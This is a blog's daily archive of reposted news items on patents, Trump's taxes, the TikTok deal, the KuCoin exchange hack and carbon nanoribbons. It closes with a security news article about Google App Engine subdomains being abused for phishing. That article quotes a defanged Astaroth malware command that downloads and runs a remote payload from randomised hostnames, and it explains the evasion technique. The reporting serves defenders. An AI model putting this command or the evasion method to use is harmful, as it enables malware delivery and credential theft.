Daily Archives: September 28, 2020

If Patents Are So Important To Innovation, Why Do Innovative Companies Keep Opening Up Their Patents Rather Than Enforcing Them?

Posted on by

To hear many politicians (and, tragically, many academics) tell the story, patents and patent policy are keys to innovation. Indeed, many studies trying to measure innovation use the number of patents as a proxy. For years, we’ve argued that there is little evidence that patents are in any way correlated with innovation. Indeed, in practice, we often see patents get in the way of innovation, rather than being a sign of innovation. If anything, an influx of patents seems to indicate a decline in innovation, because as the saying goes, smart companies innovate, while failed companies litigate. Litigating patents tends to happen when a more established company no longer is able to compete by innovation, and has to bring in the courts to block and stop more nimble competitors.

Indeed, over and over again we seem to see the most innovative companies eschewing the anti-competitive powers that patents give them. I was reminded of this recently with the announcement that payments company Square had agreed to put all of its crypto patents into a new non-profit called the Crypto Open Patent Alliance to help fight off the unfortunate number of crypto patent trolls that are showing up.

Of course, we see this throughout the companies generally considered to be the most innovative. A decade ago, Twitter came up with a very clever Innovator’s Patent Agreement, which effectively would block patent trolls from ever being able to use Twitter’s patents, should they somehow fall into trollish hands. A bunch of other top internet companies including Google, Dropbox, Asana, and Newegg launched the License on Transfer network, as a basic poison pill to, again, stop patent trolls.

And, most famously, Elon Musk flat out gave away Tesla’s patents and encouraged anyone else to use them to compete with Tesla, license-free.

If patents really were so vital to innovation, why would all of these innovative companies be so quick to give them up? And why is it so incredibly rare that any of them assert patents against competitors? Instead, so much of the patent litigation we see is against those innovative companies coming from a variety of patent trolls (frequently lawyers who never innovated at all) or also ran companies which may have been innovative in the past but have long since seen their innovative days in the rearview mirror.

It would be nice if policymakers, the media, and academics finally started recognizing the idea that patents are not just a bad proxy for actual innovation, but often antithetical to innovation, and we can see all the evidence we need for that in the fact that the most innovative companies are “devaluing” in their own patents to improve the ecosystem, rather than enforce those patents.

Source: If Patents Are So Important To Innovation, Why Do Innovative Companies Keep Opening Up Their Patents Rather Than Enforcing Them? | Techdirt

Not only that, but there are whole industries that would be nowhere if patents were enforced rigidly, such as the fashion industry and computer programming.

Report: Financial records appear to show Ivanka Trump got ‘consulting fees’ to reduce father’s tax bill

Posted on by

Tax records obtained by The New York Times appear to show that President Trump reduced his taxable income by treating his eldest daughter, Ivanka Trump, as a consultant, then deducting this as a business expense.

The Times reports that Trump Organization tax records show between 2010 and 2018, President Trump wrote off as business expenses $26 million in “consulting fees.” The consultants are not listed by name, but the Times compared the tax records to financial disclosures Ivanka Trump filed when she started working at the White House in 2017 as a senior adviser to her father. Ivanka Trump reported receiving $747,622 in payments from a consulting company she co-owned — the same exact amount in consulting fees the Trump Organization claimed as tax deductions for hotel projects in Hawaii and Vancouver.

As an executive officer with the Trump Organization, Ivanka Trump managed the Hawaii and Vancouver hotel projects, “meaning she appears to have been treated as a consultant on the same hotel deals that she helped manage as part of her job at her father’s business,” the Times said. Ivanka Trump earned a salary of about $480,000 while serving as an executive with the Trump Organization, and the amount jumped up to $2 million after her father became president, the Times reports; since leaving to work in the White House, she has not received a salary from the company.

The tax filings also show that Trump collected $5 million for a hotel deal in Azerbaijan and reported $1.1 million in consulting fees and made $3 million in Dubai while reporting a $630,000 consulting fee. People with direct knowledge of the deals told the Times they were not aware of any consultants or third parties who would have been paid in connection with the projects.

Source: Report: Financial records appear to show Ivanka Trump got ‘consulting fees’ to reduce father’s tax bill

Blowback Time: China Says TikTok Deal Is A Model For How It Should Deal With US Companies In China

Posted on by

We’ve already covered what a ridiculous, pathetic grift the Oracle/TikTok deal was. Despite it being premised on a “national security threat” from China, because the app might share some data (all of which is easily buyable from data brokers) with Chinese officials, the final deal cured none of that, left the Chinese firm ByteDance with 80% ownership of TikTok, and gave Trump supporters at Oracle a fat contract — and allowed Trump to pretend he did something.

Of course, what he really did was hand China a huge gift. In response to the deal, state media in China is now highlighting how the Chinese government can use this deal as a model for the Chinese to force the restructuring of US tech companies, and force the data to be controlled by local companies in China. This is from the editor-in-chief of The Global Times, a Chinese, state-sponsored newspaper:

That says:

The US restructuring of TikTok’s stake and actual control should be used as a model and promoted globally. Overseas operation of companies such as Google, Facebook shall all undergo such restructure and be under actual control of local companies for security concerns.

So, beyond doing absolutely nothing to solve the “problem” that politicians in the US laid out, the deal works in reverse. It’s given justification for China to mess with American companies in the same way, and push to expose more data to the Chinese government.

Great work, Trump. Hell of a deal.

Meanwhile, the same Twitter feed says that it’s expected that officials in Beijing are going to reject the deal from their end, and seek to negotiate one even more favorable to China’s “national security interests and dignity.”

So, beyond everything else, Trump’s “deal” has probably done more to help China, and harm data privacy and protection, while also handing China a justification playbook to do so: “See, we’re just following your lead!”

Source: Blowback Time: China Says TikTok Deal Is A Model For How It Should Deal With US Companies In China | Techdirt

Kukooin Crypto exchange cracked, $130m in Bitcoin burgled

Posted on by

A cryptocurrency exchange called KuCoin says it has been cracked, with over $100m of assets misappropriated.

The Register last covered KuCoin when it was mentioned by the Bitcoin-burgling cybercrooks who hacked a bunch of prominent Twitter users.

The Seychelles-based outfit, founded in 2017, proudly boasts of its venture capital backers who clearly admire its services facilitating trading of “numerous digital assets and cryptocurrencies”. And on Saturday it advised users that it “detected some large withdrawals since September 26, 2020 at 03:05:37 (UTC+8)” and that an internal security audit revealed “part of Bitcoin, ERC-20 and other tokens in KuCoin’s hot wallets were transferred out of the exchange, which contained few parts of our total assets holdings. The assets in our cold wallets are safe and unharmed, and hot wallets have been re-deployed.”

The company also promised that any losses would be covered by insurance, but also advised that deposit and withdrawal services would be suspended pending a security review.

A later update included an FAQ in which customers asked why some of the withdrawals continued even after the first incident notification was posted. KuCoin assured customers it conducted those transactions itself and advised that restoration of withdrawal functions could take a week. In the volatile world of cryptocurrency, a week can be the difference between a win and a bust.

A Monday update, the latest, revealed the scale of the hack as KuCoin identified over $130m of assets. It also describes work among a number of crypto players to identify suspicious transactions, freeze transactions, and even lists some addresses suspected of involvement in the heist.

“KuCoin has been in touch with a growing number of industry partners to take tangible actions, thanks to all of you for your support!,” the statement concluded.

However, the latest statement does not offer any further information on the cause of the incident, remediation steps, or restoration times.

So there you have it, dear reader: a venture-backed startup, based in a tax haven, demonstrating the future of money in all its glory.

And in the background, China deciding that its own digital currency will be run only by its biggest banks with new payment players like Alibaba not allowed anywhere near its innermost workings

Source: Stop us if you’ve heard this one before: Crypto exchange cracked, Bitcoin burgled • The Register

Metal wires of carbon complete toolbox for carbon-based computers

Posted on by

Transistors based on carbon rather than silicon could potentially boost computers’ speed and cut their power consumption more than a thousandfold — think of a mobile phone that holds its charge for months — but the set of tools needed to build working carbon circuits has remained incomplete until now.

A team of chemists and physicists at the University of California, Berkeley, has finally created the last tool in the toolbox, a metallic wire made entirely of carbon, setting the stage for a ramp-up in research to build carbon-based transistors and, ultimately, computers.

“Staying within the same material, within the realm of carbon-based materials, is what brings this technology together now,” said Felix Fischer, UC Berkeley professor of chemistry, noting that the ability to make all circuit elements from the same material makes fabrication easier. “That has been one of the key things that has been missing in the big picture of an all-carbon-based integrated circuit architecture.”

[…]

“Nanoribbons allow us to chemically access a wide range of structures using bottom-up fabrication, something not yet possible with nanotubes,” Crommie said. “This has allowed us to basically stitch electrons together to create a metallic nanoribbon, something not done before. This is one of the grand challenges in the area of graphene nanoribbon technology and why we are so excited about it.”

Metallic graphene nanoribbons — which feature a wide, partially-filled electronic band characteristic of metals — should be comparable in conductance to 2D graphene itself.

“We think that the metallic wires are really a breakthrough; it is the first time that we can intentionally create an ultra-narrow metallic conductor — a good, intrinsic conductor — out of carbon-based materials, without the need for external doping,” Fischer added.

Crommie, Fischer and their colleagues at UC Berkeley and Lawrence Berkeley National Laboratory (Berkeley Lab) will publish their findings in the Sept. 25 issue of the journal Science.

[…]

Several years ago, Fischer and Crommie teamed up with theoretical materials scientist Steven Louie, a UC Berkeley professor of physics, to discover new ways of connecting small lengths of nanoribbon to reliably create the full gamut of conducting properties.

Two years ago, the team demonstrated that by connecting short segments of nanoribbon in the right way, electrons in each segment could be arranged to create a new topological state — a special quantum wave function — leading to tunable semiconducting properties.

In the new work, they use a similar technique to stitch together short segments of nanoribbons to create a conducting metal wire tens of nanometers long and barely a nanometer wide.

The nanoribbons were created chemically and imaged on very flat surfaces using a scanning tunneling microscope. Simple heat was used to induce the molecules to chemically react and join together in just the right way. Fischer compares the assembly of daisy-chained building blocks to a set of Legos, but Legos designed to fit at the atomic scale.

“They are all precisely engineered so that there is only one way they can fit together. It’s as if you take a bag of Legos, and you shake it, and out comes a fully assembled car,” he said. “That is the magic of controlling the self-assembly with chemistry.”

Once assembled, the new nanoribbon’s electronic state was a metal — just as Louie predicted — with each segment contributing a single conducting electron.

The final breakthrough can be attributed to a minute change in the nanoribbon structure.

“Using chemistry, we created a tiny change, a change in just one chemical bond per about every 100 atoms, but which increased the metallicity of the nanoribbon by a factor of 20, and that is important, from a practical point of view, to make this a good metal,” Crommie said.

The two researchers are working with electrical engineers at UC Berkeley to assemble their toolbox of semiconducting, insulating and metallic graphene nanoribbons into working transistors.

“I believe this technology will revolutionize how we build integrated circuits in the future,” Fischer said. “It should take us a big step up from the best performance that can be expected from silicon right now. We now have a path to access faster switching speeds at much lower power consumption. That is what is driving the push toward a carbon-based electronics semiconductor industry in the future.”

Source: Metal wires of carbon complete toolbox for carbon-based computers | Berkeley News

Trump Paid $750 in Income Tax in 2016 and 2017

Posted on by

President Donald Trump paid just $750 in federal income taxes the year he ran for president and in his first year in the White House, according to a report Sunday in The New York Times.

Trump, who has fiercely guarded his tax filings and is the only president in modern times not to make them public, paid no federal income taxes in 10 of the past 15 years.

The details of the tax filings complicate Trump’s description of himself as a shrewd and patriotic businessman, revealing instead a series of financial losses and income from abroad that could come into conflict with his responsibilities as president. The president’s financial disclosures indicated he earned at least $434.9 million in 2018, but the tax filings reported a $47.4 million loss.

The tax filings also illustrate how a reputed billionaire could pay little to nothing in taxes, while someone in the middle class could pay substantially more than him. Nearly half of Americans pay no income taxes, primarily because of how their low incomes are. But IRS figures indicate that the average tax filer paid roughly $12,200 in 2017, about 16 times more than what the president paid.

The disclosure, which the Times said comes from tax return data it obtained extending over two decades, comes at a pivotal moment ahead of the first presidential debate Tuesday and weeks before a divisive election against Democrat Joe Biden.

Speaking at a news conference Sunday at the White House, Trump dismissed the report as “fake news” and maintained he has paid taxes, though he gave no specifics. He also vowed that information about his taxes “will all be revealed,” but he offered no timeline for the disclosure and made similar promises during the 2016 campaign on which he never followed through.

In fact, the president has fielded court challenges against those seeking access to his returns, including the U.S. House, which is suing for access to Trump’s tax returns as part of congressional oversight.

During his first two years as president, Trump received $73 million from foreign operations, which in addition to his golf properties in Scotland and Ireland included $3 million from the Philippines, $2.3 million from India and $1 million from Turkey, among other nations. The president in 2017 paid $145,400 in taxes in India and $156,824 in the Philippines, compared to just $750 in U.S. income taxes. The Times said the tax records did not reveal any unreported connections to Russia.

Trump found multiple ways to reduce his tax bills. He has taken tax deductions on personal expenses such as housing, aircraft and $70,000 to style his hair while he filmed “The Apprentice.” Losses in the property businesses solely owned and managed by Trump appear to have offset income from his stake in “The Apprentice” and other entities with multiple owners.

During the first two years of his presidency, Trump relied on business tax credits to reduce his tax obligations. The Times said $9.7 million worth of business investment credits that were submitted after Trump requested an extension to file his taxes allowed him to reduce his income and pay just $750 each in 2016 and 2017.

Income tax payments help finance the military and domestic programs.

Trump, starting in 2010, claimed and received an income tax refund that totaled $72.9 million, which the Times said was at the core of an ongoing audit by the IRS. The Times said a ruling against Trump could cost him $100 million or more. He also has more than $300 million in loans due to be repaid in the next four years.

Richard Neal, D-Mass., the chair of the House Ways and Means Committee who has tried unsuccessfully to obtain Trump’s tax records, said the Times report makes it even more essential for his committee to get the documents.

“It appears that the President has gamed the tax code to his advantage and used legal fights to delay or avoid paying what he owes,” Neal wrote in a statement. “Now, Donald Trump is the boss of the agency he considers an adversary. It is essential that the IRS’s presidential audit program remain free of interference.”

A lawyer for the Trump Organization, Alan Garten, and a spokesperson for the Trump Organization did not immediately respond to a request for comment from The Associated Press on the report.

Garten told the Times that “most, if not all, of the facts appear to be inaccurate.”

He said in a statement to the news organization that the president “has paid tens of millions of dollars in personal taxes to the federal government, including paying millions in personal taxes since announcing his candidacy in 2015.”

The New York Times said it declined to provide Garten with the tax filings in order to protect its sources, but it said its sources had legal access to the records.

During his first general election debate against Democrat Hillary Clinton in 2016, Clinton said that perhaps Trump wasn’t releasing his tax returns because he had paid nothing in federal taxes.

Trump interrupted her to say, “That makes me smart.”

Source: Trump Paid $750 in Income Tax in 2016 and 2017: Report | Time

US judge temporarily blocks Trump shakedown order banning TikTok app store downloads

Posted on by

A judge in Washington has temporarily blocked a Trump administration order banning Apple and Google from offering Chinese-owned app TikTok for download that was set to take effect at 11:59pm on Sunday.

US district judge Carl Nichols granted a preliminary injunction sought by TikTok’s owner, ByteDance, to allow the app to remain available at US app stores, but declined “at this time” to block additional commerce department restrictions that are set to take effect on 12 November that TikTok has said would have the impact of making the app impossible to use in the United States.

Nichols’ detailed written opinion is expected to be released as soon as Monday.

The Commerce Department said in a statement it “will comply with the injunction and has taken immediate steps to do so.” The statement, which defended the TikTok order and Trump’s executive order demanding owner ByteDance divest its TikTok US operations within 90 days, did not specify whether the government would appeal.

TikTok said it was pleased with the injunction and added it “will also maintain our ongoing dialogue with the government to turn our proposal, which the president gave his preliminary approval to last week, into an agreement.”

The company’s lawyer John Hall had said a ban would be “punitive” and close off a public forum used by tens of millions of Americans.

In a written brief filed ahead of the hearing, TikTok lawyers said the ban was “arbitrary and capricious” and “would undermine data security” by blocking updates and fixes to the app used by some 100 million Americans.

The company also said the ban was unnecessary because negotiations were already underway to restructure the ownership of TikTok to address national security issues raised by the administration.

TikTok has an estimated 100 million users in the US and 700 million worldwide, making it one of the largest operators in the social media space.

Government lawyers argued the president had a right to take national security actions, and said the ban was needed because of TikTok’s links to the Chinese government through its parent firm ByteDance.

A government brief called ByteDance “a mouthpiece” for the Chinese Communist Party and said it was “committed to promoting the CCP’s agenda and messaging.”

ByteDance said on 20 September it had struck a preliminary deal for Walmart Inc and Oracle Corp to take stakes in a new company, TikTok Global, that would oversee US operations after Trump said he had given the deal his “blessing.” Negotiations continue over the terms of the agreement and to resolve concerns from Washington and Beijing.

The deal is still to be reviewed by the US government’s Committee on Foreign Investment in the United States (CFIUS).

Source: US judge temporarily blocks Trump order banning TikTok app store downloads | Technology | The Guardian

Google App Engine feature abused to create unlimited phishing pages

Posted on by

A newly discovered technique by a researcher shows how Google’s App Engine domains can be abused to deliver phishing and malware while remaining undetected by leading enterprise security products.

Google App Engine is a cloud-based service platform for developing and hosting web apps on Google’s servers.

While reports of phishing campaigns leveraging enterprise cloud domains are nothing new, what makes Google App Engine infrastructure risky in how the subdomains get generated and paths are routed.

Practically unlimited subdomains for one app

Typically scammers use cloud services to create a malicious app that gets assigned a subdomain. They then host phishing pages there. Or they may use the app as a command-and-control (C2) server to deliver malware payload.

But the URL structures are usually generated in a manner that makes them easy to monitor and block using enterprise security products, should there be a need.

For example, a malicious app hosted on Microsoft Azure services may have a URL structure like: https://example-subdomain.app123.web.core.windows.net/…

Therefore, a cybersecurity professional could block traffic to and from this particular app by simply blocking requests to and from this subdomain. This wouldn’t prevent communication with the rest of the Microsoft Azure apps that use other subdomains.

It gets a bit more complicated, however, in the case of Google App Engine.

Security researcher Marcel Afrahim demonstrated an intended design of Google App Engine’s subdomain generator, which can be abused to use the app infrastructure for malicious purposes, all while remaining undetected.

Google’s appspot.com domain, which hosts apps, has the following URL structure:

VERSION-dot-SERVICE-dot-PROJECT_ID.REGION_ID.r.appspot.com

A subdomain, in this case, does not only represent an app, it represents an app’s version, the service name, project ID, and region ID fields.

But the most important point to note here is, if any of those fields are incorrect, Google App Engine won’t show a 404 Not Found page, but instead show the app’s “default” page (a concept referred to as soft routing).

“Requests are received by any version that is configured for traffic in the targeted service. If the service that you are targeting does not exist, the request gets Soft Routed,” states Afrahim, adding:

“If a request matches the PROJECT_ID.REGION_ID.r.appspot.com portion of the hostname, but includes a service, version, or instance name that does not exist, then the request is routed to the default service, which is essentially your default hostname of the app.”

Essentially, this means there are a lot of permutations of subdomains to get to the attacker’s malicious app. As long as every subdomain has a valid “project_ID” field, invalid variations of other fields can be used at the attacker’s discretion to generate a long list of subdomains, which all lead to the same app.

For example, as shown by Afrahim, both URLs below – which look drastically different, represent the same app hosted on Google App Engine.

https://random123-random123-random123-dot-bad-app-2020.ue.r.appspot.com
https://insertanythingyouwanthere-xyz123-xyz123-dot-bad-app-2020.ue.r.appspot.com

“Verified by Google Trust Services” means trusted by everyone

The fact that a single malicious app is now represented by multiple permutations of its subdomains makes it hard for sysadmins and security professionals to block malicious activity.

But further, to a technologically unsavvy user, all of these subdomains would appear to be a “secure site.” After all, the appspot.com domain and all its subdomains come with the seal of “Google Trust Services” in their SSL certificates.

google app engine phishing
Google App Engine sites showing valid SSL certificate with “Verified by: Google Trust Services” text
Source: Afrahim

Even further, most enterprise security solutions such as Symantec WebPulse web filter automatically allow traffic to trusted category sites. And Google’s appspot.com domain, due to its reputation and legitimate corporate use cases, earns an “Office/Business Applications” tag, skipping the scrutiny of web proxies.

Bypassing enterprise security solutions
Automatically trusted by most enterprise security solutions

On top, a large number of subdomain variations renders the blocking approach based on Indicators of Compromise (IOCs) useless.

A screenshot of a test app created by Afrahim along with a detailed “how-to” demonstrates this behavior in action.

In the past, Cloudflare domain generation had a similar design flaw that Astaroth malware would exploit via the following command wheen fetching stage 2 payload:

%ComSpec% /c “echo GetObject(“script:hxxps://xsw%RANDOM%nnccccmd95c22[.]cloudflareworkers[.]com/.edgeworker-fiddle-init-preview/6a8db783ccc67c314de2767f33605caec2262527cbed408b4315c2e2d54cf0371proud-glade-92ec.ativadormasterplus.workers.dev/?09/”)” > %temp%\Lqncxmm:vbvvjjh.js && start wscript.exe %temp%\Lqncxmm:vbvvjjh.js”

This would essentially launch a Windows command prompt and put a random number replacing %RANDOM% making the payload URL truly dynamic.

“And now you have a script that downloads the payload from different URL hostnames each time is run and would render the network IOC of such hypothetical sample absolutely useless. The solutions that rely on single run on a sandbox to obtain automated IOC would therefore get a new Network IOC and potentially new file IOC if script is modified just a bit,” said the researcher.

Google App Engine subdomain variations
Delivering malware via Google App Engine subdomain variations while bypassing IOC blocks

Actively exploited for phishing attacks

Security engineer and pentester Yusuke Osumi tweeted last week how a Microsoft phishing page hosted on the appspot.com subdomain was exploiting the design flaw Afrahim has detailed.

Osumi additionally compiled a list of over 2,000 subdomains generated dynamically by the phishing app—all of them leading to the same phishing page.

active exploitation google app engine phishing
Active exploitation of Google App Engine subdomains in phishing attacks
Source: Twitter

This recent example has shifted the focus of discussion from how Google App Engine’s flaw can be potentially exploited to active phishing campaigns leveraging the design flaw in the wild.

“Use a Google Drive/Service phishing kit on Google’s App Engine and normal user would not just realize it is not Google which is asking for credentials,” concluded Afrahim in his blog post.

Source: Google App Engine feature abused to create unlimited phishing pages